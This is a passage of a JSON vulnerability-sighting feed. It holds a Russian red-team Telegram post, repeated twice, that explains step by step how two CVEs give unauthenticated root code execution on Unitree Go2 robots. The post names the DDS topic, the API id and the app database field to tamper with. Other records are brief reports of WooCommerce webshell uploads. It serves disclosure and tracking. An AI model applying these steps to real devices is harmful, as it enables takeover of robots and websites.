\u0432\u0437\u043b\u043e\u043c \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 Unitree G1. \u0422\u043e\u0433\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043a\u0438\u0431\u043e\u0440\u0433\u0430-\u0443\u0431\u0438\u0439\u0446\u0443 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u0442\u0432\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0430\u043c \u0438 \u0441\u0430\u043b\u044c\u0442\u043e \u043f\u043e\u043a\u0430\u0436\u0435\u0442, \u0438 \u043a\u0443\u043d\u0433-\u0444\u0443, \u0438 \u0434\u0430\u0436\u0435 \u043f\u0430\u043b\u043a\u043e\u0439 \u043f\u043e \u0433\u043e\u043b\u043e\u0432\u0435 \u043f\u043e\u0441\u0442\u0443\u0447\u0438\u0442 \u0434\u0430 \u043f\u0440\u043e\u0441\u0442\u0438\u0442 \u043d\u0430\u0441 \u0410\u0437\u0438\u043c\u043e\u0432. \u041a\u0430\u043a \u0442\u043e\u0433\u0434\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0444\u0443\u043d\u043a\u0446\u0438\u044f eval() \u0432 \u043a\u043e\u0434\u0435 \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 \u0441\u0442\u0440\u0430\u0448\u043d\u0435\u0435 \u043b\u044e\u0431\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0438\u044f \u043c\u0430\u0448\u0438\u043d.\n\n\u0418 \u0432\u043e\u0442 \u0432\u0430\u043c \u0441\u0432\u0435\u0436\u0435\u043d\u044c\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u0436\u0435 \u043f\u0440\u043e Unitree Go2 \u2014 \u0447\u0435\u0442\u0432\u0435\u0440\u043e\u043d\u043e\u0433\u043e\u0433\u043e \u0440\u043e\u0431\u043e\u0442\u0430 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux (ARM), \u0441 Wi-Fi, LTE (\u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445), OTA-\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2026-27509 \u0438 CVE-2026-27510 \u0441\u043c\u043e\u0433\u043b\u0438 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f RCE \u043d\u0430 \u0440\u043e\u0431\u043e\u0441\u043e\u0431\u0430\u043a\u0435 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043d\u0435\u0439.\n\nCVE-2026-27509 \u2014 \u044d\u0442\u043e unauthRCE \u0447\u0435\u0440\u0435\u0437 DDS-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430\u0445 Unitree Go2. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 actuator_manager.py, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u043c \u0442\u043e\u043f\u0438\u043a rt/api/programming_actuator/request \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 (DDS domain 0 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d). \n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 api_id=1002, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Python-\u043a\u043e\u0434 \u0432 JSON-\u043f\u043e\u043b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430.\n\u23fa\u041a\u043e\u0434 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b /unitree/etc/programming/.py \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0432\u0438\u0448 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, R1+Y) \u0447\u0435\u0440\u0435\u0437 hotkey_manager.py.\n\u23fa\u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043a\u043b\u0430\u0432\u0438\u0448\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e subprocess.Popen(['python3', ...]). \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u043f\u0435\u0440\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f.\n\nCVE-2026-27510 \u2014 RCE \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 SQLite-\u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Unitree Go2 (\u0444\u0430\u0439\u043b /data/data/com.unitree.doggo2/databases/unitree_go2.db, \u0442\u0430\u0431\u043b\u0438\u0446\u0430 dog_programme). \n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 root-\u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0431\u0430\u0437\u0443.\n\u23fa\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u043b\u0435 pyCode \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Python-\u043a\u043e\u0434.\n\u23fa\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0431\u0430\u0437\u0443 \u0441 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441 \u0440\u043e\u0431\u043e\u0442\u043e\u043c. \n\u23fa\u041f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u043a \u043a\u043b\u0430\u0432\u0438\u0448\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, L1+Y) \u0431\u043b\u043e\u043a Blockly \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043a\u043e\u0434 \u0432 \u0442\u043e\u0442 \u0436\u0435 actuator_manager.py, \u0433\u0434\u0435 \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 root \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\u23fa\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0431\u044d\u043a\u0434\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\ud83d\udde3 \u0427\u0438\u0442\u0430\u0435\u043c \u0432\u0441\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.\n\n#red_team", "creation_timestamp": "2026-09-15T00:00:11.434078Z"}, {"uuid": "14fa60f2-5129-4573-8c01-de677d4c88e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "published-proof-of-concept", "source": "https://t.me/purp_sec/1423", "content": "\u041a\u0442\u043e-\u0442\u043e \u0441\u043d\u043e\u0432\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043b \u0440\u043e\u0431\u043e\u0442\u0430 Unitree \ud83d\ude2e\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043b\u043b\u0435\u0433\u0438 \u0438\u0437 \u0411\u0430\u0441\u0442\u0438\u043e\u043d\u0430 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043d\u0430 \u0425\u0430\u0431\u0440\u0435 \u043f\u0440\u043e \u0432\u0437\u043b\u043e\u043c \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 Unitree G1. \u0422\u043e\u0433\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043a\u0438\u0431\u043e\u0440\u0433\u0430-\u0443\u0431\u0438\u0439\u0446\u0443 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u0442\u0432\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0430\u043c \u0438 \u0441\u0430\u043b\u044c\u0442\u043e \u043f\u043e\u043a\u0430\u0436\u0435\u0442, \u0438 \u043a\u0443\u043d\u0433-\u0444\u0443, \u0438 \u0434\u0430\u0436\u0435 \u043f\u0430\u043b\u043a\u043e\u0439 \u043f\u043e \u0433\u043e\u043b\u043e\u0432\u0435 \u043f\u043e\u0441\u0442\u0443\u0447\u0438\u0442 \u0434\u0430 \u043f\u0440\u043e\u0441\u0442\u0438\u0442 \u043d\u0430\u0441 \u0410\u0437\u0438\u043c\u043e\u0432. \u041a\u0430\u043a \u0442\u043e\u0433\u0434\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0444\u0443\u043d\u043a\u0446\u0438\u044f eval() \u0432 \u043a\u043e\u0434\u0435 \u0430\u043d\u0434\u0440\u043e\u0438\u0434\u0430 \u0441\u0442\u0440\u0430\u0448\u043d\u0435\u0435 \u043b\u044e\u0431\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0438\u044f \u043c\u0430\u0448\u0438\u043d.\n\n\u0418 \u0432\u043e\u0442 \u0432\u0430\u043c \u0441\u0432\u0435\u0436\u0435\u043d\u044c\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u0436\u0435 \u043f\u0440\u043e Unitree Go2 \u2014 \u0447\u0435\u0442\u0432\u0435\u0440\u043e\u043d\u043e\u0433\u043e\u0433\u043e \u0440\u043e\u0431\u043e\u0442\u0430 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux (ARM), \u0441 Wi-Fi, LTE (\u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445), OTA-\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2026-27509 \u0438 CVE-2026-27510 \u0441\u043c\u043e\u0433\u043b\u0438 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f RCE \u043d\u0430 \u0440\u043e\u0431\u043e\u0441\u043e\u0431\u0430\u043a\u0435 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043d\u0435\u0439.\n\nCVE-2026-27509 \u2014 \u044d\u0442\u043e unauthRCE \u0447\u0435\u0440\u0435\u0437 DDS-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430\u0445 Unitree Go2. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 actuator_manager.py, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u043c \u0442\u043e\u043f\u0438\u043a rt/api/programming_actuator/request \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 (DDS domain 0 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d). \n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 api_id=1002, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Python-\u043a\u043e\u0434 \u0432 JSON-\u043f\u043e\u043b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430.\n\u23fa\u041a\u043e\u0434 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b /unitree/etc/programming/.py \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0432\u0438\u0448 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, R1+Y) \u0447\u0435\u0440\u0435\u0437 hotkey_manager.py.\n\u23fa\u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043a\u043b\u0430\u0432\u0438\u0448\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e subprocess.Popen(['python3', ...]). \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u043f\u0435\u0440\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043d\u044b\u0439 root-\u0434\u043e\u0441\u0442\u0443\u043f.\n\nCVE-2026-27510 \u2014 RCE \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 SQLite-\u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Unitree Go2 (\u0444\u0430\u0439\u043b /data/data/com.unitree.doggo2/databases/unitree_go2.db, \u0442\u0430\u0431\u043b\u0438\u0446\u0430 dog_programme). \n\n\u23fa\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 root-\u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0431\u0430\u0437\u0443.\n\u23fa\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u043b\u0435 pyCode \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Python-\u043a\u043e\u0434.\n\u23fa\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0431\u0430\u0437\u0443 \u0441 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441 \u0440\u043e\u0431\u043e\u0442\u043e\u043c. \n\u23fa\u041f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u043a \u043a\u043b\u0430\u0432\u0438\u0448\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, L1+Y) \u0431\u043b\u043e\u043a Blockly \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043a\u043e\u0434 \u0432 \u0442\u043e\u0442 \u0436\u0435 actuator_manager.py, \u0433\u0434\u0435 \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 root \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\u23fa\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0431\u044d\u043a\u0434\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\ud83d\udde3 \u0427\u0438\u0442\u0430\u0435\u043c \u0432\u0441\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.\n\n#red_team", "creation_timestamp": "2026-09-15T00:00:11.482448Z"}, {"uuid": "a59c759f-ee91-4331-9224-172390667821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "published-proof-of-concept", "source": "Telegram/SWXpTb_FDgqk-a1sBSyz4gpK1bNcdSIfJKm4SIv87MwvEOM", "content": "", "creation_timestamp": "2026-09-15T00:00:24.243244Z"}, {"uuid": "999e4888-a3db-42bd-83fd-b434cc8377fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/4ubCWDGxu4WnFOq29PLvDuzY7rtHUTjtN28OWSanTq9JErs", "content": "", "creation_timestamp": "2026-09-15T00:00:30.338169Z"}, {"uuid": "b3ddb499-a61a-4e1b-963b-d525748b8695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/lfng4x9E2hruDRzlxi1Nwm4ia2mcZEmtjSxEdebazYmJI2A", "content": "", "creation_timestamp": "2026-09-15T07:00:05.531147Z"}, {"uuid": "a74c5b42-c288-4e1c-8cc6-7f11c37be0ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27454", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27454.yaml", "content": "", "creation_timestamp": "2026-09-15T09:00:14.402357Z"}, {"uuid": "32825964-e25c-41db-afb6-4fde4f3eefca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mvkkq7i2gn2z", "content": "WooCommerce bug CVE-2026-27540 enables PHP backdoor uploads without login \u2014 update to v2.0.3.2 NOW. #WooCommerce #CVE2026-27540 #WordPress #Cybersecurity #PluginVulnerability https://thedailytechfeed.com/critical-woocommerce-extension-bug-lets-hackers-take-over-sites-without-login/", "creation_timestamp": "2026-09-15T11:51:39.473856Z"}, {"uuid": "965905dc-77c1-45ff-ab76-3dbee5b90c7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/newsfacts.bsky.social/post/3mvklantaay25", "content": "Kritieke kwetsbaarheid in WooCommerce-extensie opent deuren voor hackers.\n\nEen ernstige beveiligingskwetsbaarheid, met de aanduiding CVE-2026-27540 en een CVSS-score van 9.8, is ontdekt in de WooCommerce-extensie Wholesale Lead Capture. Deze kwetsbaarheid treft versies tot en met 2.0....", "creation_timestamp": "2026-09-15T12:00:51.004828Z"}, {"uuid": "b2246dca-8536-4dd5-81d2-b7d7507b738c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "Telegram/AVHa0ccgfuhd9DVplbaBFLW521wJB58XsX1RjH3vPioGS8M", "content": "", "creation_timestamp": "2026-09-15T14:00:05.984080Z"}, {"uuid": "a4769345-4a4d-4a08-8e7a-21b4b210eb9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mvkzhtet2k2x", "content": "Hackers are exploiting CVE-2026-27540 in WooCommerce Wholesale Lead Capture to upload PHP backdoors and take over WordPress sites. Wordfence blocked 100,000+ attempts. #WooCommerce #WordPress #Wordfence", "creation_timestamp": "2026-09-15T16:15:24.604191Z"}, {"uuid": "b5059ea8-356f-4e2c-ada0-9295018c06f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mvl7y3sycb2u", "content": "\ud83e\udd16 CVE-2026-27540: unauthenticated file upload in the WooCommerce Wholesale Lead Capture plugin (\u22642.0.3.1) allows PHP webshell uploads on WordPress sites. Patched in 2.0.3.2; 100k+ attacks blocked in the\u2026", "creation_timestamp": "2026-09-15T18:11:52.703842Z"}, {"uuid": "ee9b1ed6-49bb-4c56-8367-93ecf36d991b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b7d21082-0789-4184-99b0-9c0abf4da6fb", "content": "", "creation_timestamp": "2026-09-15T19:00:44.250191Z"}, {"uuid": "20446e7e-0896-4119-aa2a-c586b1ecb75f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "Telegram/ErfJ1Ovdt1-zddZrF_9_--hvD5klp0sk5OK_EEG8YafVg0I", "content": "", "creation_timestamp": "2026-09-15T20:00:04.842488Z"}, {"uuid": "6774f42a-27c7-4644-8fe8-da0cceba2750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "Telegram/darA0yLaDDtOvNzNoPMIV1DYpoMUI-prfEIIPb2OESUVKA4", "content": "", "creation_timestamp": "2026-09-15T23:00:06.175647Z"}, {"uuid": "68cd8436-3480-4401-896d-96858a17fdb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27960.yaml", "content": "", "creation_timestamp": "2026-09-16T00:00:04.773250Z"}, {"uuid": "43a5a8c4-1ca9-4a9e-a899-c24fceaa7377", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/darA0yLaDDtOvNzNoPMIV1DYpoMUI-prfEIIPb2OESUVKA4", "content": "", "creation_timestamp": "2026-09-16T00:00:08.656905Z"}, {"uuid": "9c32b25b-3c68-4881-8be2-b964e7e7d61a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/ErfJ1Ovdt1-zddZrF_9_--hvD5klp0sk5OK_EEG8YafVg0I", "content": "", "creation_timestamp": "2026-09-16T00:00:11.702849Z"}, {"uuid": "2ea491b3-365c-4645-a6f2-80d5602360db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/AVHa0ccgfuhd9DVplbaBFLW521wJB58XsX1RjH3vPioGS8M", "content": "", "creation_timestamp": "2026-09-16T00:00:30.648460Z"}, {"uuid": "4e899504-a5db-4136-84a7-58e901925082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "Telegram/lfng4x9E2hruDRzlxi1Nwm4ia2mcZEmtjSxEdebazYmJI2A", "content": "", "creation_timestamp": "2026-09-16T00:00:32.373507Z"}, {"uuid": "1199f712-e278-4d2a-a166-6a666f25048f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 